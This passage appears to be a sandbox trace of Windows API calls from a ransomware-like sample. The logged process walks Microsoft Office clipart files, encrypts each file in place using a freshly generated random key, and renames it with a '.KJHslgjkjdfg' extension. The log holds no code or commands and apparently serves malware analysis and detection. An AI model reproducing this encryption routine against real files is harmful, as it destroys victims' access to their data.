returned 1 [0200.437] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.437] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.437] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.437] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.437] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.437] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.438] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2e88, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2e88, lpOverlapped=0x0) returned 1 [0200.438] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2e90, dwBufLen=0x2e90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2e90) returned 1 [0200.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.439] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2e90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2e90, lpOverlapped=0x0) returned 1 [0200.439] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.439] SetEndOfFile (hFile=0x130) returned 1 [0200.439] GetProcessHeap () returned 0x990000 [0200.439] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.439] GetProcessHeap () returned 0x990000 [0200.439] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.439] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf.kjhslgjkjdfg")) returned 1 [0200.440] CloseHandle (hObject=0x130) returned 1 [0200.440] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88613900, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88613900, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0281640.WMF", cAlternateFileName="")) returned 1 [0200.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.441] GetProcessHeap () returned 0x990000 [0200.441] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.441] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.441] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0200.443] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.443] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.443] GetProcessHeap () returned 0x990000 [0200.443] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.443] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.443] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.443] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.443] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.444] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.444] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.444] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.444] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.444] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.444] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x30f2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x30f2, lpOverlapped=0x0) returned 1 [0200.445] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3100, dwBufLen=0x3100 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3100) returned 1 [0200.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.445] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3100, lpOverlapped=0x0) returned 1 [0200.445] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.445] SetEndOfFile (hFile=0x130) returned 1 [0200.448] GetProcessHeap () returned 0x990000 [0200.448] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.448] GetProcessHeap () returned 0x990000 [0200.448] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.448] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf.kjhslgjkjdfg")) returned 1 [0200.449] CloseHandle (hObject=0x130) returned 1 [0200.450] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba8f5800, ftCreationTime.dwHighDateTime=0x1beecd8, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba8f5800, ftLastWriteTime.dwHighDateTime=0x1beecd8, nFileSizeHigh=0x0, nFileSizeLow=0x3c9e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0282126.WMF", cAlternateFileName="")) returned 1 [0200.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.451] GetProcessHeap () returned 0x990000 [0200.451] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.451] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.451] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0200.453] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.453] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.453] GetProcessHeap () returned 0x990000 [0200.453] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.453] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.453] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.453] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.453] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.453] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.454] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.454] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.454] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.454] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.454] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3c9e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3c9e, lpOverlapped=0x0) returned 1 [0200.455] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ca0, dwBufLen=0x3ca0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ca0) returned 1 [0200.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.455] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3ca0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3ca0, lpOverlapped=0x0) returned 1 [0200.456] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.456] SetEndOfFile (hFile=0x130) returned 1 [0200.458] GetProcessHeap () returned 0x990000 [0200.458] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.459] GetProcessHeap () returned 0x990000 [0200.459] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.459] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf.kjhslgjkjdfg")) returned 1 [0200.460] CloseHandle (hObject=0x130) returned 1 [0200.460] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8166, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0282928.WMF", cAlternateFileName="")) returned 1 [0200.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.462] GetProcessHeap () returned 0x990000 [0200.462] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.462] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.462] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.462] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0200.464] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.464] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.464] GetProcessHeap () returned 0x990000 [0200.465] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.465] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.465] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.465] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.465] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.465] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.465] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.465] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.465] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.465] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.465] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.465] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.466] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8166, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8166, lpOverlapped=0x0) returned 1 [0200.467] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8170, dwBufLen=0x8170 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8170) returned 1 [0200.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.467] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8170, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8170, lpOverlapped=0x0) returned 1 [0200.467] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.467] SetEndOfFile (hFile=0x130) returned 1 [0200.470] GetProcessHeap () returned 0x990000 [0200.470] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.471] GetProcessHeap () returned 0x990000 [0200.471] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.471] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf.kjhslgjkjdfg")) returned 1 [0200.472] CloseHandle (hObject=0x130) returned 1 [0200.472] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3700, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0282932.WMF", cAlternateFileName="")) returned 1 [0200.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.474] GetProcessHeap () returned 0x990000 [0200.474] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.474] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.474] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.474] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.474] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.474] GetProcessHeap () returned 0x990000 [0200.474] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.474] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.474] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.474] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.477] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.477] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.477] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.478] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.478] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.478] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.478] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.478] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.478] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3700, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3700, lpOverlapped=0x0) returned 1 